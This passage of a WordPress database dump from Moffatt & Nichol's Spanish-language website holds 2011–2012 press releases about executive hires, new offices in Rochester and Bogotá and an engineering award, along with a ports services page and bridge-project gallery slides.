Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-8','','','2012-08-29 14:04:40','2012-08-29 14:04:40','',1399,'http://moffattnichol.com/spanish/1399-revision-8/',0,'revision','',0),(2610,1,'2012-08-29 14:15:08','2012-08-29 14:15:08','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-ten.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Terminal de contenedores del Middle Harbor del puerto de Long Beach</div>\n<div class=\"gallary-text\">El Puerto de Long Beach seleccionó a Moffatt & Nichol para prestar servicios generales de gestión del programa para la planificación y el diseño de una terminal de contenedores totalmente automatizada de 132 hectáreas.</div>\n</div>\n','Ports one','','inherit','open','open','','2293-autosave','','','2012-08-29 14:15:08','2012-08-29 14:15:08','',2293,'http://moffattnichol.com/spanish/2293-autosave/',0,'revision','',0),(2611,1,'2012-06-15 04:45:08','2012-06-15 04:45:08','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=300  delay=5000 resume=15000 animation=500 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marítimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marítima. Participamos en la llegada de la contenedorización y tenemos expertos técnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancías y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el análisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseño y la construcción. Moffatt & Nichol puede dar soporte, prácticamente, a cualquier tarea portuaria, marítima o de transporte de carga desde sus oficinas y centros ubicados en Norteamérica, Europa y América Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marítimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÍTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo y ha jugado un papel importante en la evolución del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÓN PORTUARIA</strong><br />\r\n                Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y el diseño  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÓN DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÓN DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del país con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos de nuestra nación,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marítimas','','inherit','open','open','','48-revision-8','','','2012-06-15 04:45:08','2012-06-15 04:45:08','',48,'http://moffattnichol.com/spanish/48-revision-8/',0,'revision','',0),(2612,1,'2012-08-29 14:35:11','2012-08-29 14:35:11','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-one.jpg\" alt=\"Bridges\" title=\"Bridges\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2620\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Reemplazo del tramo este del puente de la Bahía Oakland de San Francisco</div>\r\n<div class=\"gallary-text\">Como parte de una empresa conjunta, Moffatt & Nichol prestó servicios de diseño de ingeniería y de gerencia del proyecto para el reemplazo del tramo este de la vía paralela de doble segmento de 3,5 km de longitud del puente de la bahía de Oakland, San Francisco, que conecta la isla Yerba Buena y Oakland.</div>\r\n</div>','Bridges One','','publish','closed','closed','','bridges-one','','','2012-09-03 08:31:38','2012-09-03 08:31:38','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2612',1,'anything_slides','',0),(2613,1,'2012-08-29 14:35:37','2012-08-29 14:35:37','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-two.jpg\" alt=\"Bridges\" title=\"Bridges\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2621\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Puentes de la ruta 123 sobre el río Occoquan</div>\r\n<div class=\"gallary-text\">VDOT seleccionó a Moffatt & Nichol para realizar un estudio de factibilidad y diseño para el reemplazo de los puentes de la ruta 123 sobre el río Occoquan. La compañía trabajó con los ciudadanos de la histórica localidad de Occoquan a fin de tratar los problemas relacionados con la estética y el tipo de puente.</div>\r\n</div>','Bridges Two','','publish','closed','closed','','bridges-two','','','2012-08-29 14:41:56','2012-08-29 14:41:56','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2613',2,'anything_slides','',0),(2614,1,'2012-08-29 14:36:17','2012-08-29 14:36:17','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-three.jpg\" alt=\"Bridges\" title=\"Bridges\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2622\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Cruce elevado de Gilman Drive sobre la carretera I-5</div>\r\n<div class=\"gallary-text\">La Universidad de California, San Diego ha seleccionado a Moffatt & Nichol para diseñar un segundo puente a través de la interestatal 5 a fin de proporcionar una muy necesaria conexión vehicular y peatonal entre sus crecientes campus este y oeste.</div>\r\n</div>','Bridges Three','','publish','closed','closed','','bridges-three','','','2012-08-29 14:43:12','2012-08-29 14:43:12','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2614',3,'anything_slides','',0),(2616,1,'2012-08-29 14:36:48','2012-08-29 14:36:48','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-four.jpg\" alt=\"Bridges\" title=\"Bridges\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2623\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Puente Heritage Road</div>\r\n<div class=\"gallary-text\">La ciudad de Chula Vista seleccionó a Moffatt & Nichol para proporcionar la ingeniería preliminar para el reemplazo del puente temporal sobre el río Otay en Heritage Road con un puente nuevo y permanente que cuente con línea divisoria de carriles, bermas de emergencia, carriles para bicicletas y aceras.</div>\r\n</div>','Bridges Four','','publish','closed','closed','','bridges-four','','','2012-09-03 08:09:20','2012-09-03 08:09:20','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2616',4,'anything_slides','',0),(2617,1,'2012-08-29 14:37:21','2012-08-29 14:37:21','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-five.jpg\" alt=\"Bridges\" title=\"Bridges\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2626\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Puente Buckman Springs Road sobre Cottonwood Creek</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol fue seleccionado para encargarse del planeamiento y diseño con simulaciones visuales para el reemplazo del puente Buckman Springs Road de 137 metros de longitud. Debido a su pintoresca ubicación, el puente de reemplazo será diseñado para coexistir en armonía con sus bellos alrededores.</div>\r\n</div>\r\n','Bridges Five','','publish','closed','closed','','bridges-five','','','2012-09-03 08:08:56','2012-09-03 